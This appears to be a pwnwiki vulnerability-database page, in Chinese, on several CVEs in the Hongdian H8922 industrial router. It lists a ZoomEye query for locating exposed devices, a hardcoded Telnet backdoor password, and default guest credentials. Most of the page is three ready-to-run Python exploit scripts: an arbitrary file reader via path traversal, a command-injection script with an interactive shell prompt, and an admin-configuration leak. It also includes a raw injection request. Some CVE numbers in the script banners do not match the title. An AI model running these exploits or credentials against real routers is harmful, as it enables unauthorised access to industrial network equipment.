Loading
0

CVE-2021-28149 CVE-2021-28150 CVE-2021-28151 宏电 H8922 多个漏洞

pwnwiki.com

,

ZoomEye

app:"Hongdian H8922 Industrial Router"

宏电 H8922 Telnet后门漏洞

使用Telnet连接目标5188端口,账号密码为root/superzxmn

宏电 H8922 后台任意文件读取漏洞

登录后台(存在访客用户默认账号密码 guest/guest)

POC

import requests
import sys
import random
import re
from lxml import etree
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech                                   \0330m')
    print('+  \03334mGithub : https://github.com/PeiQi0                                 \0330m')
    print('+  \03334m公众号  : PeiQi文库                                                   \0330m')
    print('+  \03334mTitle  : 宏电 H8922 后台任意文件读取漏洞 CVE-2021-28152                 \0330m')
    print('+  \03336m使用格式:  python3 poc.py                                            \0330m')
    print('+  \03336mUrl         >>> http://xxx.xxx.xxx.xxx                             \0330m')
    print('+------------------------------------------')

def POC_1(target_url, filename):
    vuln_url = target_url + "/log_download.cgi?type=../..{}".format(filename)
    headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\03332mo 正在请求 {}/log_download.cgi?type=../../etc/passwd \0330m".format(target_url))
        if "root" in response.text and response.status_code == 200:
            print("\03332mo 目标 {}存在漏洞 ,存在访客账号 guest/guest 成功读取 /etc/passwd \0330m".format(target_url))
            print("\03332mo 响应为:\n{} \0330m".format(response.text))
            while True:
                filename = input("\03335mFilename >>> \0330m")
                if filename == "exit":
                    sys.exit(0)
                else:
                    POC_2(target_url, filename)
        else:
            print("\03331mx 请求失败 \0330m")
            sys.exit(0)
    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)

def POC_2(target_url, filename):
    vuln_url = target_url + "/log_download.cgi?type=../..{}".format(filename)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\03332mo {} \0330m".format(response.text))

    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)


if __name__ == '__main__':
    title()
    filename = '/etc/passwd'
    target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m"))
    POC_1(target_url, filename)

宏电 H8922 后台命令执行漏洞

登录后台(存在访客用户默认账号密码 guest/guest)
使用 ; 命令拼接执行任意命令

POST /tools.cgi HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 96
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

op_type=ping&destination=;cat /etc/passwd&user_options=uid%3D0%28root%29+gid%3D0%28root%29%0D%0A

POC

import requests
import sys
import random
import re
from lxml import etree
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech                                   \0330m')
    print('+  \03334mGithub : https://github.com/PeiQi0                                 \0330m')
    print('+  \03334m公众号  : PeiQi文库                                                   \0330m')
    print('+  \03334mTitle  : 宏电 H8922 后台命令执行漏洞 CVE-2021-28150                  \0330m')
    print('+  \03336m使用格式:  python3 poc.py                                            \0330m')
    print('+  \03336mUrl         >>> http://xxx.xxx.xxx.xxx                             \0330m')
    print('+------------------------------------------')

def POC_1(target_url, cmd):
    vuln_url = target_url + "/tools.cgi"
    headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
    }
    data = "op_type=ping&destination=;cat /etc/passwd&user_options=uid%3D0%28root%29+gid%3D0%28root%29%0D%0A"
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
        print("\03332mo 正在请求 {}/tools.cgi \0330m".format(target_url))
        if "root" in response.text and response.status_code == 200:
            print("\03332mo 目标 {}存在漏洞 ,存在访客账号 guest/guest 成功执行 cat /etc/passwd \0330m".format(target_url))
            html = etree.HTML(response.text)
            cmd_test = html.xpath('/html/body/div1/div/div2/div/form/fieldset2/div/textarea/text()')0
            print("\03332mo 响应为:\n{} \0330m".format(cmd_test))
            while True:
                cmd = input("\03335mCmd >>> \0330m")
                if cmd == "exit":
                    sys.exit(0)
                else:
                    POC_2(target_url, cmd)
        else:
            print("\03331mx 请求失败 \0330m")
            sys.exit(0)
    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)

def POC_2(target_url, cmd):
    vuln_url = target_url + "/tools.cgi"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
    }
    data = "op_type=ping&destination=;{}&user_options=uid%3D0%28root%29+gid%3D0%28root%29%0D%0A".format(cmd)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
        html = etree.HTML(response.text)
        cmd_test = html.xpath('/html/body/div1/div/div2/div/form/fieldset2/div/textarea/text()')0
        print("\03332mo 响应为:\n{} \0330m".format(cmd_test))

    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)


if __name__ == '__main__':
    title()
    cmd = 'cat /etc/passwd'
    target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m"))
    POC_1(target_url, cmd)

宏电 H8922 后台管理员信息泄露漏洞

登录后台(存在访客用户默认账号密码 guest/guest)
漏洞存在于 backup2.cgi 文件中

POC

import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech                                   \0330m')
    print('+  \03334mGithub : https://github.com/PeiQi0                                 \0330m')
    print('+  \03334m公众号  : PeiQi文库                                                   \0330m')
    print('+  \03334mTitle  : 宏电 H8922 后台命令执行漏洞 CVE-2021-28150                  \0330m')
    print('+  \03336m使用格式:  python3 poc.py                                            \0330m')
    print('+  \03336mUrl         >>> http://xxx.xxx.xxx.xxx                             \0330m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/backup2.cgi"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\03336mo 正在请求 {}/backup2.cgi.... \0330m".format(target_url))
        if 'service webadmin' in response.text and response.status_code == 200:
            print("\03332mo 目标 {}存在漏洞 ,存在访客账号 guest/guest 成功读取配置文件 \0330m".format(target_url))
            print("\03336mo 响应为:\n{} \0330m".format(response.text))
        else:
            print("\03331mx 请求失败 \0330m")
            sys.exit(0)

    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m"))
    POC_1(target_url)

免费、自由、人人可编辑的漏洞库